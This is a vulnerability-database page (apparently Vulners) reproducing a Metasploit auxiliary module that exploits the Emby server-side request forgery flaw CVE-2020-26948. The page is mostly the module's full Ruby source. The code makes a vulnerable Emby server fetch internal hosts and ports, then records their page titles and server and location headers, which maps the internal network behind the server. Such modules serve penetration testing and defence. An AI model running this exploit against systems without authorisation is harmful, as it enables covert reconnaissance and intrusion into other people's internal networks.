Lucene search
K

Emby SSRF HTTP Scanner

🗓️ 13 Jun 2021 17:55:03Reported by BtnzType 
metasploit
 metasploit
🔗 www.rapid7.com👁 90 Views

Generates a `GET` request to the provided web servers and executes an SSRF against the targeted EMBY server. It returns the server header, HTML title attribute, and location header. Used to identify web applications on the internal network with the Emby SSRF vulnerability (CVE-2020-26948)

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Server-Side Request Forgery in Emby
22 Jul 202023:30
githubexploit
Circl
CVE-2020-26948
11 Oct 202000:35
circl
CNVD
Emby Server Cross-Site Request Forgery Vulnerability
20 Oct 202000:00
cnvd
CVE
CVE-2020-26948
10 Oct 202020:12
cve
Cvelist
CVE-2020-26948
10 Oct 202020:12
cvelist
Metasploit
Emby Version Scanner
13 Jun 202117:55
metasploit
Nuclei
Emby < 4.5.0 - Server Server-Side Request Forgery
28 Jun 202615:08
nuclei
NVD
CVE-2020-26948
10 Oct 202021:15
nvd
OpenVAS
Emby Server < 4.5.0 SSRF Vulnerability
10 Sep 202100:00
openvas
OSV
CVE-2020-26948
10 Oct 202021:15
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name' => 'Emby SSRF HTTP Scanner',
      'Description' => 'Generates a `GET` request to the provided web servers and executes an SSRF against
                        the targeted EMBY server. Returns the server header, HTML title attribute and
                        location header (if set). This is useful for rapidly identifying web applications
                        on the internal network using the Emby SSRF vulnerability (CVE-2020-26948).',
      'Author' => 'Btnz',
      'License' => MSF_LICENSE,
      'Disclosure Date' => '2020-10-01',
      'Notes' => {
        'Stability' => [],
        'SideEffects' => [],
        'Reliability' => [],
        'RelatedModules' => ['auxiliary/scanner/http/emby_version_ssrf']
      },
      'References' => [
        ['CVE', '2020-26948'],
        ['URL', 'https://github.com/btnz-k/emby_ssrf']
      ]
    )

    deregister_options('VHOST', 'RPORT', 'SNAPLEN', 'SSL')

    register_options(
      [
        OptString.new('TARGETURI', [false, 'The URI of the Emby Server', '/']),
        OptBool.new('STORE_NOTES', [true, 'Store the information in notes.', true]),
        OptBool.new('SHOW_TITLES', [true, 'Show the titles on the console as they are grabbed', true]),
        OptString.new('EMBY_SERVER', [true, 'Emby Web UI IP to use', '']),
        OptInt.new('EMBY_PORT', [true, 'Web UI port for Emby Server', '8096']),
        OptString.new('PORTS', [true, 'Ports to scan', '80,8080,8081,8888'])
      ]
    )
  end

  def run_host(target_host)
    # Do some checking to ensure data is submitted
    # Also converts ports string to list
    dports = Rex::Socket.portspec_crack(datastore['PORTS'])
    raise Msf::OptionValidateError, ['PORTS'] if dports.empty?

    # loop through the ports
    dports.each do |p|
      vprint_status("Attempting SSRF with target #{target_host}:#{p}")
      uri = "/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://#{target_host}:#{p}"
      # not using send_request_cgi due to difference between RHOSTS and EMBY_SERVER
      res = Net::HTTP.get_response(datastore['EMBY_SERVER'], uri, datastore['EMBY_PORT'])

      # Check for Response
      if res.nil?
        vprint_error("http://#{target_host}:#{p} - No response")
        next
      end

      # Retrieve the headers to capture the Location and Server header
      server_header = res['server']
      location_header = res['location']

      # Check to see if the captured headers are populated
      if server_header.nil? && location_header.nil?
        vprint_error("#{target_host}:#{p} No HTTP headers")
      end

      # If the body is blank, just stop now as there is no chance of a title
      vprint_error("#{target_host}:#{p} No webpage body") if res.body.nil?

      # Very basic, just match the first title tag we come to. If the match fails,
      # there is no chance that we will have a title
      rx = %r{<title>[\n\t\s]*(?<title>.+?)[\s\n\t]*</title>}im.match(res.body.to_s)
      unless rx
        vprint_error("#{target_host}:#{p} No webpage title")
        next
      end

      # Last bit of logic to capture the title
      rx[:title].strip!
      if rx[:title].empty?
        vprint_error("#{target_host}:#{p} No webpage title")
        next
      end

      rx_title = Rex::Text.html_decode(rx[:title])
      if datastore['SHOW_TITLES']
        print_good("#{target_host}:#{p} Title: #{rx_title}")
        print_good("#{target_host}:#{p}     HTTP Code: #{res.code}")
        print_good("#{target_host}:#{p}     Location Header: #{location_header}")
        print_good("#{target_host}:#{p}     Server Header: #{server_header}")
      end
      if datastore['STORE_NOTES']
        notedata = { code: res.code, port: p, server: server_header, title: rx_title, redirect: location_header }
        report_note(host: target_host, port: p, type: 'http.title', data: notedata, update: :unique_data)
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Apr 2026 19:01Current
9High risk
Vulners AI Score9
CVSS 27.5
CVSS 3.19.8
EPSS0.87154
90